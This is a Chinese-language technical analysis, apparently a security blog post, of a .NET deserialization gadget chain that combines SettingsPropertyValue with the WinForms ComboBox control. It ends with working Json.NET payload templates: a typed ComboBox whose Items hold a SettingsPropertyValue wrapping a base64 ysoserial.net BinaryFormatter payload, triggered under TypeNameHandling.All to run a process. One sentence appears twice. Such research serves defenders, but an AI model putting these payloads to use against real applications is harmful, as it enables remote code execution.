.NET 反序列化 GetterSettingsPropertyValue 攻击链

0x01 链路1 SettingsPropertyValue

SettingsPropertyValue位于命名空间 System.Configuration，用于应用程序存储和检索设置的值，此类具有Name、IsDirty、Deserialized、PropertyValue、SerializedValue等多个公共成员，其中SerializedValue属性用于获取或者设置序列化的值，便于持久化存储，内部调用方法SerializePropertyValue，如下图

调用BinaryFormatter格式化器进行序列化，因此从构造反序列化漏洞的视角看，需要将Ysoserail.Net生成的BinaryFormatter攻击载荷赋值给SerializedValue成员

而反序列化触发漏洞由此类的另外一个成员PropertyValue负责实现，当该属性被外部使用时会触发getter，从而触发内部this.Deserialize()方法

0x02 链路2 Winform

此条攻击链路涉及ComboBox、ListBox、CheckedListBox这三个不同的Windows Froms桌面应用开发常见的用户控件类，反序列化漏洞链路实现上均类似，因此以ComboBox链作为样本进行原理分析。

从图上我们发现ComboBox继承于父类ListControl，ListControl是一切列表控件的基类，其中DisplayMember成员属性返回一个string类型，getter时通过this.displayMember.BindingMember可绑定SettingsPropertyValue链路触发反序列化操作的PropertyValue属性名称，如下图所示

另外ComboBox类在声明时拥有多个特性，其中成员Items和Text被指定为默认特性，分别为[DefaultProperty("Items")]、[DefaultBindingProperty("Text")]，因此在getter和setter时会执行一些默认的行为。

Text成员

首先Text在setting时内部调用base.GetItemText获取item每项中的文本值，经过一系列调用，最后FilterItemOnProperty通过PropertyDescriptor对象获取item的属性描述，然后使用GetValue方法获取每项的值

因此当攻击者控制item选项以及在DisplayMember属性绑定了恶意的值时会变得非常不安全。

因此当攻击者控制item选项以及在DisplayMember属性绑定了恶意的值时会变得非常不安全。

Items成员

再回过头来看ComboBox类另外一个成员Items，内部实现上调用ObjectCollection，如下图所示

实际上是一组可以存储任意类型的列表项集合，因此我们可以控制Items集合添加SettingPropertyValue反序列化链。

0x03 编码实践

根据上述两条链路的原理性分析，我们可以尝试着构造用于恶意反序列化的攻击代码如下

payload = @"{
    '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
    'Items':[
        " + spvPayload + @"
    ], 
    'DisplayMember':'PropertyValue',
    'Text':'watever'
}";

ComboBox的DisplayMember属性值为SettingPropertyValue属性PropertyValue，根据前文得知PropertyValue被访问时会调用BinaryFormatter执行反序列化。Items集合由包含了攻击载荷的变量spvPayload 构建，具体代码如下

string spvPayload = @"{
    '$type':'System.Configuration.SettingsPropertyValue, System',
    'Name':'test',
    'IsDirty':false,
    'SerializedValue':
        {
            '$type':'System.Byte[], mscorlib',
            '$value':'" + b64encoded + @"'
        },
    'Deserialized':false
}";

SerializedValue是一组进行Base64编码后基于BinaryFormatter生成的攻击载荷，最后通过JsonConvert.DeserializeObject(s1, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All })，完成整条攻击链路的反序列化，成功启动本地计算器进程，如下图所示

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